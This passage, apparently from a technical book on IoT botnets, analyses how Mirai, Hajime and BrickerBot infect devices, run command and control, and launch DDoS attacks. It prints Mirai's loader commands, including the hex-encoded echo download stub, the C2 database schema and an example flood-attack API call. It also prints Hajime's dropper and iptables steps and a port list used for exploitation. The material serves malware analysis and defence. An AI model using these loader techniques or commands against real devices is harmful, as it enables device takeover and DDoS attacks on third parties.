Using as arch one of armv6, armv7, mpsl, mips, x86, spc, m68k, ppc, or sh4,
as per the previously determined architecture.

The command sequence for the UPLOAD ECHO method is a little more involved
as it requires the creation of a temporary download stub that will fetch the
malware from its download server. To that end, the loader thread creates a new
world writable and executable file of zero length using the command:

/bin/busybox cp dvrHelper upnp; > upnp; /bin/busybox chmod 777 upnp; MIRAI

The download stub is then loaded from the loader thread to the device using
“echo” commands and hex-encoded strings that concatenate into a binary execu-
table. The download stub is a cross-compiled C program, which does nothing else
than connecting a socket to a hardcoded download server IP on port 80 and
using an HTTP GET request pulls the bot binary for the architecture it was
compiled for: GET/bins/mirai.<arch> HTTP/1.0. The response of the HTTP
server is written to a file with a hardcoded name “dvrHelper”. Since the loader
thread knows the architecture of the victim, it knows which download stub
executable “dlr dlr.<arch>” it needs to source from its local file system and
encode it to send to the device. Below is the code that gets loaded for an x86
victim:

echo - ne ’\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00...\x08\x00\x00\x00\x00\x04\x00

\x00\x00\x06\x00\x00\x00\x00\x10\x00\x00\x51\xe5\x74\x64\x00\x00\x00\x00\x00\x00\x00

\x00’ > upnp; /bin/busybox MIRAI

echo - ne ’\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00...\xff\x75\x08\x6a\x01\xe8\x3c\x02\x00

\x00\x83\xc4\x10\xc9\xc3\x55\x89\xe5\x83\xec\x10\xff\x75\x08\x6a\x06\xe8\x27\x02\x00’≫
upnp; /bin/busybox MIRAI

...

echo - ne ’\x0b\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00...\x00\x04\x00\x00\x00\x00\x00\x00\x00

x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00’ ≫
upnp ; /bin/busybox MIRAI

echo - ne ’\x00\x00\x00\x00\x00\x00\x00\x00\xb8\x03\x00...\x00\x00\x00\x00\x00’ ≫ upnp; /bin/

busybox MIRAI

The final step performed by the loader again depends on the upload method
and executes the bot:

wget : ./dvrHelper telnet.<arch>

tftp : ./dvrHelper telnet.<arch>

echo : ./upnp; ./dvrHelper telnet.<arch>

Once the bot was executed successfully, the loader removes the “upnp” file
to erases any traces of itself. The bot itself will unlink the bot’s binary as one
of its first actions, so the loader does not erase the “dvrHelper” file. Remark
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that the loader does not make any provisions to have the malware persist
across reboots. Once rebooted, an infected device will be clean from any
previous infections.

2.3.3.4 Command and Control

The C2 server is written in Go and provides an interactive CLI for bot admins as
well as “customers.” The CLI is accessible through port 23, the same port used by
the bots to create their C2 communication channel. Authentication of CLI users
is provided through credentials stored in a MySQL database. The bot admin can
create new users and assign them bots and attack profiles through the CLI.
Admins can also launch attacks from the CLI. Customers however are limited to
launch attacks from their CLI.

The server also provides an API that listens on port 101. The API authenti-
cates requests using API keys that are stored in the MySQL database under the
same user record as used for CLI access. While the CLI provides admin features,
the API only supports launching attacks. The API is provided for automation and
integration with third-party portals such as booter and stresser portals.

The “user” properties are stored in the MySQL server in the “mirai” database
in table “users”:

CREATE DATABASE mirai;

CREATE TABLE‘users ‘(

‘id‘ int (10) unsigned NOT NULL AUTO_INCREMENT,

‘username‘ varchar (32) NOT NULL,

‘password‘ varchar (32) NOT NULL,

‘duration_limit‘ int (10) unsigned DEFAULT NULL,

‘cooldown‘ int (10) unsigned NOT NULL,

‘wrc‘ int (10) unsigned DEFAULT NULL,

‘last_paid‘ int (10) unsigned NOT NULL,

‘max_bots‘ int (11) DEFAULT ’-1’,

‘admin‘ int (10) unsigned DEFAULT ’0’,

‘intvl‘ int (10) unsigned DEFAULT ’30’,

‘api_key‘ text,

PRIMARY KEY (‘id‘),

KEY ‘username‘(‘username‘)

);

It is also possible to limit the target IP ranges customers are permitted to use to
conduct attacks. These ranges are stored as network prefixes and netmask records
in a table called “whitelist”:

CREATE TABLE ‘whitelist‘(

‘id‘ int (10) unsigned NOT NULL AUTO_INCREMENT,

‘prefix‘ varchar (16) DEFAULT NULL,

‘netmask‘ tinyint (3) unsigned DEFAULT NULL,

PRIMARY KEY (‘id‘),

KEY ‘prefix‘ (‘prefix‘)

);
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The C2 server keeps a record of every attack launched through the botnet,
including command, duration, and the user who initiated the attack. All
information is stored in the same MySQL database in a table called “history”:

CREATE TABLE ‘history‘(

‘id‘ int (10) unsigned NOT NULL AUTO_INCREMENT,

‘user_id‘ int (10) unsigned NOT NULL,

‘time_sent‘ int (10) unsigned NOT NULL,

‘duration‘ int (10) unsigned NOT NULL,

‘command‘ text NOT NULL,

‘max_bots‘ int (11) DEFAULT ’-1’,

PRIMARY KEY (‘id‘),

KEY ‘user_id‘ (‘user_id‘)

);

Passwords are, again, stored in clear text and the API key cannot be set using
the CLI but requires direct access to the database record. The C2 interfaces are
not polished and some features remain unimplemented, but their intentions are
clearly to provide a flexible platform for renting DDoS attack services to third
parties.

The C2 server listens on port 23 for both the CLI and the bot communica-
tions. To distinguish itself from a CLI connection, the bot sends a four byte
message \00\00\00\01 followed by a bot identity string. The bot identity is
a variable length field preceded by its length. The loader service provides this bot
identity the moment the bot gets executed. As a reminder, below are the last
commands submitted by the loader service and how it executes the bot at the end
of the infection process:

wget: ./dvrHelper telnet.<arch>

tftp: ./dvrHelper telnet.<arch>

echo: ./upnp; ./dvrHelper telnet.<arch>

The argument passed on the command line by the loader service consists of an
id tag and the architecture label. In the above loader commands, the id tag was
hardcoded in the loader service as the string “telnet.” The architecture label is one
of those supported by the bot, in the case of the previously discussed example we
had: armv6, armv7, mpsl, mips, x86, spc, m68k, ppc, or sh4. Resulting identifiers
would be, for example, “telnet.armv6,” “telnet.x86,” etc. The identifier is used by
bot herders, for example, to track the efficiency of their infection methods and
sources. As discussed previously, a separate loader service could be sourcing victim
IPs from an acquired file or from other scanners. By using a different identifiers,
the bot herder can track how many devices were infected through the “telnet”
loader service and how many through another method.

Once connected to the C2 server, the bot sends a two-byte heartbeat message
\00\00 every 60 seconds to which the C2 server replies with the same message
(two \00 bytes). If three heartbeats are missed, the connection is supposedly lost
and the C2 server can release the allocated resources of the connection while the
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bot can initiate a reconnect procedure to try to regain access to the C2
infrastructure, either the same C2 server or another in the list of servers.

Bots can perform multiple concurrent attack commands as they receive
commands from the C2 server. Each attack is run from a new process. Unless
the attacker is an admin user, however, the C2 server will prohibit the same user
from running multiple concurrent attacks on the botnet. When an attack finishes,
the user has to wait for a configurable “cooldown” time before performing a new
attack. The maximum duration of each attack is configurable through the
“duration_limit.” Both parameters are part of the user’s profile stored in the
MySQL table “users.” Admin users can perform multiple concurrent attacks, of
any duration and do not have to respect a cooldown period before starting new
commands. Note that Mirai does not have a command to stop an ongoing attack.
The bot provides a function “attack_kill_all()” in “attack.c,” which can kill ALL
processes spawned by the bot that execute an attack, but this function is only
used when the bot receives a command to kill itself from the C2 server. So, as far
as the bot is concerned, a submitted attack will always be executed through to
completion.

When users connect to port 23 of the C2 server using, for example, a telnet
client, the server will prompt the user with a banner and request authentication.
Port 101, on the other hand, is used exclusively for API requests. Each API
request is prefixed with the API key followed by the separator “|” and the attack
command. Optionally, the number of bots to be used for the attack can be
specified using a “-” directly following the separator. The requested number of
bots is verified against the maximum number of bots in the user profile
corresponding to the API key. Each API request is a new TCP connection, and
the connection is closed after the requested attack command has been accepted
and acknowledged by an “OK” message by the C2 server. Error messages are
provided through reply strings starting with “ERR-” after which the connection is
also terminated. An API call to perform, for example, a 120 second UDP flood to
a victim with IP address 192.168.0.1 using 200 bots would look like:

keykeykeykey | -200 udp 192.168.0.1 120

2.3.3.5 Attack Payload

The original Mirai bot carries ten different DDoS attacks [26]: (a) Generic UDP
Flood, (b) Plain UDP flood, (c) SYN Flood, (d) ACK flood, (e) STOMP, (f)
GREIP Flood, (g) GREETH Flood, (h) VSE Flood, (i) HTTP Flood, (j) DNS
Flood. The last attack (j) is a DNS Water Torture attack, the same attack that
brought DYN to its knees back in October of 2016. See Section 2.3.3.6 for
a description of the attack.
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Remind that Mirai does not provide the ability to interrupt or stop submitted
attacks. When an attack is submitted, the bots directed to perform the attack will
see it through for the specified attack duration.

2.3.3.6 DNS Water Torture

Mirai became the first open-source botnet and one of the most widely used
cyber weapons in the history of DDoS. Within one week Krebs and OVH
became the victims of volumetric DDoS attacks performed by a record-breaking
number of devices, in excess of 600 Gbps of volume [1], and the internet
infrastructure giant Dyn suffered outages from a large-scale DNS attack origi-
nating from over 100,000 devices [27], resulting in large chunks of the internet
becoming unreachable. Some of the internet’s largest cloud and service provi-
ders including Twitter, Spotify, Amazon, CNN, and more were affected during
the attacks. The Dyn attacks and their associated impact on many of the largest
and most popular services on the internet marked a milestone in DDoS history.
At that moment, most of us realized that the world would never be the same
again and that Mirai and its victim, IoT, would severely impact the threat
landscape for DDoS.

The DNS Water Torture attack suffered by Dyn was not a new attack vector.
First spotted in January 2014, the DNS Water Torture attack, also known as
Random Subdomain Attack, defeats the hierarchical caching of the internet’s
DNS infrastructure by generating random hostnames for the domain under
attack. No authoritative DNS server was ever sized to handle all of the internet’s
requests for a particular domain. Instead, the authoritative server relies on
recursive DNS servers such as provided by ISPs to cache name records and
resolve most DNS requests locally from its cache.

A recursive DNS server is typically what one would configure in the internet
router as DNS server while the authoritative server is the server that holds the
database with hostname/IP translation records. Whenever a client wants to
resolve a public hostname such as “host.domain.org,” it uses the configured
recursive DNS server to resolve the name. The recursive server will look up the
requested name “host.domain.org” in its cache, and only if no cached entry
exists or the cache entry is expired will the recursive DNS server request the
authoritative DNS server for the domain “domain.org” to resolve the host
“host.” The internet consists of a huge number of recursive DNS servers that
provide the much needed distributed caching and offloading that authoritative
servers have come to rely on. The idea behind the DNS Water Torture is to
flood the recursive servers with randomized host requests such as “aseiujd.
domain.org”, “ieuhbda.domain.org”, “oeiuroa.domain.org”, etc. Because of the
random nature of the hostnames, each request the recursive servers receive for
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the “domain.org” domain needs to be forwarded to the authoritative DNS
server for “domain.org”. The authoritative DNS server can only handle specific
number of requests and given enough bots using a large number of recursive
servers, the authoritative DNS will fail under the load. To make things worse,
recursive DNS servers will start retrying requests to the authoritative DNS
server whenever a reply is not received within a sensible time frame which acts
as an added amplification on top of the original requests from the bots.

DNS Water Torture was a known attack, but Mirai was the first botnet that
was able to gather and orchestrate enough bots to create an internet extinction-
level attack against one of the largest, most scalable DNS providers at the time.
What everyone thought impossible suddenly became a reality, causing a shift in
the threat DDoS attack landscape.

Observing readers might have wondered why the 1.35 Tbps, 126.9 million
packets per second, DDoS attack against Github [28] was not mentioned next
to the record-breaking attacks of 600 Gbps on Krebs and those on Dyn. While
the attack was a new record in terms of DDoS attack volumes, this attack was
at its purest an amplification attack and there is no reason to suspect IoT
botnets been involved in that attack. The attackers abused unintentionally exposed
Memcached servers to reach amplification rates of anything between 10,000 and
50,000 times [29]. While the attack initiating devices could be distributed, the
incoming traffic stream at the victim will originate from the abused amplification
server. Of course, most servers do not have Terabit uplinks so multiple servers would
be involved to generate such large volumes (about 1000 servers where involved in the
Github attack [28]). This limits the diversity in attack traffic source IP addresses and
makes these attacks easier to mitigate. With IoT, there is a very large diversity of
devices and sources that originate the attack and that is directly resulting in diversity
of traffic at the victim. DDoS attacks performed through DDoS botnets also can
change attack vectors very quickly making mitigation even harder—in the case of
amplification attacks, the attack is characterized by the amplification source and
cannot be changed over time, making it easier to characterize and mitigate, given one
has the bandwidth.

2.3.4 Hajime
Security researchers discovered Hajime [30] in October 2016, a few days before
the Mirai attacks on Dyn and just three days after the Mirai source code leaked
online. The researchers dubbed their discovery “Hajime”. As the author of the
malware became aware of their report, he used some of the findings to improve
and fix vulnerabilities of his botnet and adopted the name. Since the report, the
bot periodically writes a message to the terminal saying:
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Just a white hat, securing some systems.

Important messages will be signed like this!

Hajime Author.

Contact CLOSED

Stay sharp !

Hajime is a sophisticated, flexible, thoughtfully designed and future-proof IoT
botnet—for sure the longest active IoT botnet in the history of IoT botnets to
date. Hajime is capable of updating itself and provides the ability to extend its
member bots with richer functionality fast and efficiently. The distributed bot
network creates a decentralized C2 and uses an overlay trackerless torrent on top
of the well-known public BitTorrent peer-to-peer network using dynamic info
hashes that rotate daily. All communications through BitTorrent are signed and
encrypted using RC4 and private/public keys.

Hajime’s initial extension module provided scan and loader services to discover
and infect new victims. An efficient SYN scanner implementation scans for open ports
on TCP/23 (telnet) and TCP/5358 (WSDAPI). Upon discovering an open Telnet
port, the extension module tries to exploit the victim using brute force shell login much
the same way Mirai does. For this purpose, Hajime uses a list consisting of the same 60
factory default passwords as Mirai and added two new entries “root/5up” and “Admin/
5up,” which are factory defaults for Atheros wireless routers and access points. In
addition, Hajime is capable of exploiting ARRIS modems using the password-of-the-
day “backdoor” and its default seed, a backdoor known since 2009 [31].

Hajime protects its victim device through filtering ports known to be abused
by IoT bots such as Mirai and also tries to remove any potentially existing firewall
rules with the name “CWMP CR.” CWMP refers to the CPE WAN Manage-
ment Protocol or TR-064/069. In doing so, it removes any CWMP rules set by
an ISP that would allow specific management IPs or subnets and will now be
locked out leaving the ISP without control of its CPE device if they relied on the
firewall entries.

Besides locking down the device, Hajime opens up port UDP/1457 and
a random higher port number (>1024) for UDP and TCP. In doing so, allowing
itself to use the BitTorrent DHT (Distributed Hash Table) and uTP from port
UDP/1457 to build its peer-to-peer C2 network. The random higher port serves
the purpose of loader service used during the infection process to remotely
download malware onto new victims. The extension module also has traces of
a UPnP-IGD implementation that allows Hajime to create dynamic port for-
warding rules in internet gateways, allowing it to operate effectively from inside
a protected home network. Even when an ISP blocks all incoming traffic on the
gateway, UPnP-IGD allows for punching pinholes through the firewall and
exposing internal services to the public internet.

Hajime provides binaries for the arm5, arm6, arm7, mipseb, and mipsel
platforms. Between January and March 2017, the malware binary was updated
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six times. Its extension module was updated four times between January and
February 2017. Since its discovery back in October 2016, the extension module
changed name from “exp” to “atk.” The main binary’s name remained “.i” and
the downloader stub used during infections was called “.s.”

Hajime prefers the use of volatile file systems as working directory, ensuring
any indicator of compromise is gone after a device reboot. Hajime is not
persistent, meaning that rebooting the device will clean it from infection, but
only until the next infection.

The Hajime botnet is sophisticated compared to its cousin IoT botnets at the
time:

■ It is capable of using other exploits besides Telnet brute-force.
■ During the infection process, it is able to detect the platform and work its

way around missing download commands such as “wget” through the use of
a loader stub “.s.”

■ The loader stub is dynamically generated using hex encoded strings based
on handcrafted assembly programs that are optimized for each supported
platform. The IP address and port number of the loader are patched in the
binary at generation time by the bot.

■ The loader from which the malware is downloaded does not have to be the
node that is performing the infection. Hajime has a way of detecting the
reachability of the infecting device and if its loader service port is not
available from the internet it will use another node from its network that is
known to be reachable to download the initial malware binary—basically
a distributed network of download servers provided by infected devices.

■ It uses a decentralized trackerless torrent network for C2 messaging.
■ It uses the torrent network to share and update itself and its extension

module(s) to/from peers.
■ To minimize the required ports and TCP sockets, it uses the uTP

BitTorrent protocol instead of just TCP in torrent transfers—uTP imple-
ments in-order delivery and reliable connectivity on top of UDP and only
requires one single socket and UDP/port for all DHT and torrent
communications.

■ All torrent exchanges are encrypted and signed using public and private
keys.

■ The scan and load extension module has the capability to perform UPnP-
IGD and punch pinholes in gateway devices to expose any ports it requires.

There has been lots of speculation about the grayness of the author and the intent
and purpose of his Hajime botnet. In their initial report [30], Edwards and
Profetis described a discovered vulnerability in the encryption implementation of
the initial malware and how they were able to reverse the control protocol. The
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vulnerability was patched and updated soon after the report, but a botnet this
size, with a flexible backend and high potential for criminal behavior will
undoubtedly attract the attention of black hats. Whoever owns the “keys” of
this botnet can decide its fate!

2.3.4.1 Infection

The Hajime dropper command sequence is illustrated in Figure 2.3.
In line 1–3, Hajime makes a blind attempt at getting a system shell. In line 4, it

lists out the mounted filesystems and their associated permissions. The bot will prefer
an ephemeral filesystem (temporary or RAM-based), which is writable to perform its
infection. This ensures that any temporary downloads, named pipes and directories,
are gone after a reboot, and there is no indicator of compromise left that would allow
one to detect a device ever was infected by Hajime.

Notice the use of “/bin/busybox YTYIK.” When executing this command on
a system, the command responds with “YTYIK: applet not found.” Hajime uses
the output of this command as a delimiter while parsing the responses of previous
commands. The initial version of Hajime consistently used ECCHI as a five-
character delimiter, while the newer versions use a random sequence of five
characters in an attempt to evade honeypots specifically looking for the character
sequence “ECCHI”.

Continuing with line 5, once a suitable working path was found and the
current working directory changed to that location, Hajime tests for the existence
of a hidden file called “.s.” If “.s” does not exist, it will copy the echo binary to
the working file “.s” in the current working directory. This file will be important
later in the command sequence.

On line 6, Hajime tests for the availability of the “nc” and “wget” commands.
The “nc” or netcat command can be used for transferring information using TCP
or UDP. “nc” can be used to download the Hajime binary from an adequate
loader service through UDP (Hajime’s malware download service listens for TCP
and UDP on the same port).

Figure 2.3 Hajime dropper sequence.
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Line 7 dumps the first 52 bytes of the “.s” file, which is a working copy of the
platform’s “echo” binary. In case the “dd” command, used to read bytes from
a file sequentially, is not available on the system, the command reverts to the
“cat” command that will dump the full “.s” binary contents to standard output.
Hajime uses the first few bytes of the “.s” binary to detect the platform in the
same way Mirai did.

Line 9 removes the temporarily “.s” file and downloads the binary using “wget”
and the HTTP protocol from a specific IP and port. The IP of the loader service
does not always match the IP of the device that is performing the infection—in
some cases it does, but in most cases, the IP of the loader service was not related
to the source IP of the infecting device. The port used by the HTTP download is
a random high port number (1024 < port < 65535). In the case the infecting
device also provides the download service, this command would be apparent to
generate. Hajime can detect devices that do not have their higher ports accessible
from the internet and can fall back to a knowingly accessible node in its
distributed network of bots that can.

The ARRIS modems, which Hajime has an exploit for, lack the “wget”
command so Hajime had to implement a fall back to a dynamically generated
stage 1 binaries: a download stub. In this specific case, the infection sequence
looks like Figure 2.4.

Figure 2.4 Hajime’s Dynamically Generated Download Stub.
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The first few lines of this alternate infection method are comparable to the
first part of the previously discussed infection method except for the ping
command that has been introduced. The command is only testing for the
availability of “ping” on the victim’s system. Because “wget” is not available,
Hajime requires an alternative way to download its malware binary to the
victim. This is what lines 7 to 16 are about in the figure. Line 7 assures that
previously used “.s” file is truncated (emptied) and copies that empty file to “.i”.
Remember that a “.” before the filename is the way Unix hides files. The “echo
-ne” commands in line 8 till 15 concatenate hex encoded binary strings to the “.
s” file. This is effectively the creation of an executable stub program that will
download the actual malware binary in much the same way a “wget” would do.
In the last line (16), the “.s” generated executable is run and its output is
written to “.i”. After the malware binary was downloaded into “.i”, “.i” is made
executable and started.

The “.s” download stub program establishes a TCP connection to the loader
service and writes all received bytes to its STDOUT file descriptor. The down-
load stub program is handcrafted assembly and optimized for each supported
platform. This demonstrates the care that was taken in designing and building the
Hajime botnet and adds to its sophisticated nature. Also, note that the IP address
and port number of the download node is encoded in the binary on the fly by the
infecting node.

2.3.4.2 Client Bot

Once the infection performed and the initial “.i” binary is loaded on the victim,
it is executed. Upon starting, the program executes “iptables” commands that
alter packet filters on the system to drop all incoming packets with the following
destination ports:

■ TCP/23 (telnet)—the primary exploit vector of Mirai and most IoT botnets
■ TCP/7547 (TR-069)—as first used in the Deutsche Telekom attack by

a Mirai variant
■ TCP/5555 (TR-069)—alternate port commonly used in TR-069
■ TCP/5358 (WSDAPI)—see separate section at the end about WSDAPI

The bot also tries to delete the CWMP CR rule and chain. CWMP refers to the
CPE WAN Management Protocol TR-064/069. Some ISP modems are config-
ured using this user-defined chain to allow remote management from specific IPs
or subnets. If the ruleset exists and gets deleted, all CWMP connectivity is
dropped, leaving the ISP without remote management capabilities for Hajime-
infected modems. The last packet filter alteration the main executable does is
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opening port UDP/1457 for incoming packets. This port is needed later for the
peer-to-peer communications.

At this point, the malware bootstraps its torrent DHT (Distributed Hash
Table) from “router.bittorrent.com” and “router.utorrent.com” on port 6881,
which allows it to connect to its torrent peers in a trackerless torrent network. To
create the trackerless torrent network, the program uses dynamically generated
info hashes. The 160-bit torrent info hashes are SHA1 hashes generated based on
the current date and the filename of the shared resource (binary, config file,
extension module, etc.). For the dynamic info hashes to effectively work, it is
important that the date and time on all peers of the torrent network are
synchronized; therefore, the malware periodically syncs time using the NTP
protocol from “ntp.pool.org” on default NTP port 123. Different torrent info
hashes are used to identify the configuration file (“config”) and any updated
binaries of itself and its extension module across its peers. Hajime uses the
BitTorrent uTP protocol for peer-to-peer communication. uTP implements
reliable, in-order transport and flow-control on top of UDP. Using uTP instead
of TCP Hajime can reuse the same socket and port (1457) for both peer-to-peer
communication (download/upload) and DHT communication.

The config file is downloaded every 10 minutes using uTP from peers
identified through the DHT queries. The download period corresponds to the
terminal message that is periodically written and displayed in the beginning of
this section. Notice the use of “signed” in the terminal message—referring to
the fact that all torrent communications are signed and encrypted using the
RC4 stream cipher with public and private keys. Upon downloading the “atk”
extension binary through its torrent network, the main process “.i” forks a new
process to execute “atk”. Before doing so, a named pipe called “fifo” is created
in the current working directory of the main process and, as “atk” clones the
open file descriptors, this named pipe is used to pass information from the “atk”
process to the main “.i” process. This information assumingly includes newly
infected victims and their reachability information for the loader service ports,
as this information must be shared with all peers to enable nodes with
unreachable high port numbers to use the alternate loaders for download of
the malware.

Both the main process “.i” and the extension module “atk” overwrite their
original executable name by copying over the first argument (argv[0]) with
“telnetd”. Using “ps” on a compromised system will show two “telnetd”
processes:

# ps aux | grep telnetd
root 2013 1.5 0.1 1008 992 ? Ss 16:24 0:25 telnetd <--.i
root 2069 2.8 0.0 692 640 ? S 16:26 0:41 telnetd <-- atk
root 2186 0.0 0.2 4276 2008 pts /2 S+ 16:51 0:00 grep telnetd
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The binary files “.i” and “atk” are unlinked during the start of the process but it is still
possible to access and copy the binaries through the “/proc” special file system, e.g.:

# cat /proc/2069/exe > ./atk-binary

# cat /proc/2013/exe > ./hajime.bin

In the working directory where the main process “.i” is executed there will be
a “fifo” file entry corresponding to the named pipe between “.i” and “atk”. The
same directory will also contain a “.p” hidden directory that is used to store the
binaries downloaded from the torrent network and a “.d” hidden directory under
that. Since the infection process prefers tmpfs type filesystems, which are volatile
across reboots, the “fifo” file and “.p” directory will not leave any evidence of
prior compromise after reboot.

The “atk” extension process starts by altering firewall rules to accept incoming
connections on UDP and TCP for what appears to be a random port. The port is
used as a download service and allows “atk” to serve any of the downloaded
binaries stored in the “.p” folder for the purpose of infection. At this point, the
“atk” process starts scanning for new victims.

2.3.4.3 Scanner Extension Module

The SYN scanner implemented by “atk” is build using a raw socket, very much
like the Mirai scanner. “atk” constructs TCP packets and then sends them out by
writing them to one socket allocated solely for that purpose. Once a victim is
found through the SYN scan on port 23 or 5358, a separate TCP socket is
opened for each attempt to exploit a victim.

Figure 2.5 is a snapshot of all open file descriptors of the “atk” process during
exploits:

Figure 2.5 Hajime file descriptors open in ATK process.
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From the above, we see file descriptors 0, 1, and 2, which are mapped to the
pseudo terminal device “pts/0” and corresponding to the default STDOUT,
STDIN, and STDERR. File descriptor 3 is the named pipe “fifo” we described
earlier, used for IPC between “atk” and the main process “.i”.

File descriptor 4 corresponds to a UDP socket bound on port 1457, presum-
ably a leftover from the main “.i” process where this socket was used for the
torrent DHT and peer-to-peer communication—the “atk” process does not
perform torrent communication, the .i process exclusively performs this.

File descriptors 5 and 6 are the sockets for the TCP and UDP loader service
that provides a download location for the “wget” or the “.s” stub binary when
they perform a remote victim infection.

File descriptor 8 corresponds to the raw TCP socket used for the SYN scans.
File descriptors 9 to 23 are examples of sockets with established TCP connec-

tions to remote telnet and WSDAPI (5358) services, used during the exploit
process.

WSDAPI(TCP/5358)—Port TCP/5358 is known to be used by the Web
Service on Devices API (WSDAPI). WSDAPI is Microsoft’s interoperable
implementation of the open Device Profile for Web Services (DPWS)
specification. DPWS provide a specification for Web Service implemen-
tation on resource-constrained embedded devices. Its objectives are
similar to those of UPnP. At the International Security Controls (ISC)
trade show, a major security company demonstrated a security system
that supported DPWS, while the Kitchen and Bath Show (KBIS) saw two
major appliance manufacturers demonstrating washers and dryers that
communicated using DPWS. A communicative oven has been demon-
strated at the International Building Show for the past two years. An
even greater sign of the drive towards market acceptance of DPWS is
the introduced-in-2006 “ConnectedLife.Home” home automation pack-
age offered by US retailer Best Buy. The package uses automation
software and controllable devices that leverage DPWS for communica-
tions. WSDAPI can be used for easy SOAP-based communications
between devices (including embedded devices) and clients. The client
API allows client applications to retrieve a description of services hosted
on a device and use those services after successfully discovering them.
WSDAPI uses SOAP/HTTP(S) and TCP port 5358 for HTTP and port
5358 for HTTPS traffic by default. The WSDAPI provides a generic
SOAP stack for use by client and service applications. Examples of
services are printer and scanner services and also services provided by
DVRs and NVRs.
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2.3.5 BrickerBot

BrickerBot was discovered in March 2017 and according to its author started as
early as November 2016. The botnet went undetected for a long time, which is
one of the perks of its unique architecture. The author of BrickerBot, who
referred to himself as “Dr. Cyborkian a.k.a. janit0r—conditioner of ‘terminally
ill’ devices”, announced the retirement of his project in December 2017. The
Janit0r was active on the router hacking scene long before starting his so-called
“Internet Chemotherapy” project. As the Janit0r revealed in his retirement
announcement: “My ability to commandeer and secure hundreds of thousands of
ISP routers was the foundation of my anti-IoT botnet project as it gave me great
visibility of what was happening on the Internet and it gave me an endless supply of
nodes for hacking back.”

In April 2016, users in the Ubiquiti Networks community began
reporting their routers being defaulted and having defaced login banners and
hostnames reading “HACKED-ROUTER-HELP-SOS-DEFAULT-PASSWORD”
and “HACKED-ROUTER-HELP-SOS-HAD-DUPE-PASSWORD” [32]. There
is no evidence to link these events from a vigilante hacker to the Janit0r, but fact is
that BrickerBot is known to operate primarily from compromised Ubiquiti devices.
By July 2017, a researcher reported [33] the availability of over 36,000 defaced
Ubiquiti routers and over 7,300 defaced MikroTik routers, discovered through the
IoT search engine Shodan.io.

The Janit0r continued: “I began my non-destructive ISP network cleanup project
in 2015 and by the time Mirai came around I was in a good position to react. The
decision to willfully sabotage other people’s equipment was nonetheless a difficult one
to make, but the colossally dangerous CVE-2016-10372 situation ultimately left me
with no other choice. From that moment on I was all-in.”

The vulnerability CVE-2016-10372 was discovered in the Eir D1000 modem,
which did not properly restrict the TR-064 CPE WAN Management protocol and
allowed a remote attacker to execute arbitrary commands on the device. In
November 2016, a malicious actor going by the alias of “BestBuy,” aka “Popopret,”
leveraged CVE-2016–10372 in a modified version of Mirai and attempted to infect
broadband modems in ISP networks remotely. Deutsche Telekom, TalkTalk, and
Post Office UK were victims in the attempt to create a large botnet and, while the
attack failed, it left Deutsche Telekom with over 900,000 disrupted consumer
internet connections [34]. Around the same time, an actor going by the name of
“BestBuy” was advertising his 400,000+ bot Mirai botnet on XMPP, the same
botnet that was later used by the actor to perform DDoS attacks on the Liberian ISP
Lonestar MTN upon being payed $30,000 by a rival company [35]. The attack
disrupted the internet connectivity for the entire country of Liberia.

With a clear motivation of purging the internet of vulnerable IoT devices,
the Janit0r created BrickerBot. Unlike previously discussed IoT botnets,
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BrickerBot does not expose wormlike behavior, but its author managed its
members. The botnet also did not actively scan the internet for vulnerable
devices making it surgical and hard to detect. The botnet consisted of
hundreds of compromised IoT devices running a malware that listens for
intrusion attempts on known vulnerable IoT ports, much like a honeypot
would do. The malware referred to itself as “sentinel” and was coded in
Python. When a sentinel sensed an IoT intrusion on one of its monitored
ports, it hacked back the intruder in an attempt to render it useless, aka
“brick” it. The sentinels implemented many of the known IoT exploits and
received regular updates as new vulnerabilities got disclosed over time. There were
different levels of bricking and depending on the fingerprint of the device and the
vulnerabilities that succeeded the bricking action could go from an attempt to
corrupt the device’s flash, default its configuration, or disable its network inter-
faces. Whatever makes the device disappear from the internet was fair game for
the Janit0r and his BrickerBot. Only devices compromised and infected by other
malware would face the wrath of BrickerBot, devices clean of any infection were
left untouched.

On April 10, 2017, a Californian ISP “Sierra Tel” started receiving customer
complaints about loss of internet and telephone connectivity. After investigation
by Sierra Tel’s technicians, the Zyxel HN-51 modems of those customers had
become corrupt and customers were asked to go to their local Sierra Tel shop to
swap their modem for a new one. Subsequent customers who came to receive
replacements were asked to leave their devices at the company’s offices, promising
that staff would repair the modem, and give them a call when it would be ready.
It took the company almost two weeks to complete the response to what they
called “the highly disruptive impacts of the illegal hacking of the HN-51
modem”. The outage was reported by only the local press and got little attention
from national media, as it affected only Sierra Tel customers in the cities of
Mariposa and Oakhurst, California. On April 25, however, the Janit0r brought
the incident to the attention of a reputable security reporter [36] and claimed
responsibility. According to the Janit0r, Sierra Tel’s network was infected by
Mirai and that is why his botnet started attacking their infected modems,
resulting in corrupted devices and connectivity loss for Sierra Tel’s customers.

Later, in his manifest to the security community, the Janit0r claimed respon-
sibility with BrickerBot for an alleged cyberattack on Venezuela’s state-owned
operators Cantv and Movilnet. In August 2017, the El Nuevo Herald reported
that the Venezuelan operators Cantv and Movilnet had to switch off mobile and
fiber services in several states following a series of cyberattacks and apparent
sabotage of their network. Half of Cantv’s 13 million users were affected and the
attacks hit many public-sector websites and .ve domain name users. Cantv’s
president described the attacks as unprecedented “terrorist actions.” Movilnet
said it lost connectivity in 7 million of its customers for 72 hours [37].
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2.3.5.1 BrickerBot Sentinels

Upon receiving a TCP connection on port TCP/23, a sentinel activates its hack-
back process to the source of the connection. The sentinel starts fingerprinting its
freshly discovered victim by showering it with nearly 200 probes to 22 ports
known to be involved in IoT exploits. Below is the list of ports that BrickerBot
used to fingerprint and detect vulnerabilities in its victims:

The fingerprinting also involved scraping login banners from telnet and SSH,
HTTP server header fields and responses from web interfaces, UPnP, and TR-064/
069 services. The choice of exploit and attack commands was created using
statistical inference based on the fingerprinting results. The exploit list of BrickerBot
contains most of the known IoT exploits for five different attack vectors: SSH,
Telnet, HTTP, HNAP, and SOAP. The SSH and Telnet attack modules used brute
forcing to get access to a command line shell with a privileged user. The HTTP,

22 SSH

23 Telnet

80 HTTP

81 Alternate HTTP port used for Web GUI by some IoT devices

82 Alternate HTTP port used for Web GUI by some IoT devices

88 Alternate HTTP port used for Web GUI by some IoT devices

2222 Alternate SSH port

2323 Alternate Telnet port

5000 UPnP

5001 Alternate port for UPnP

5358 WSDAPI

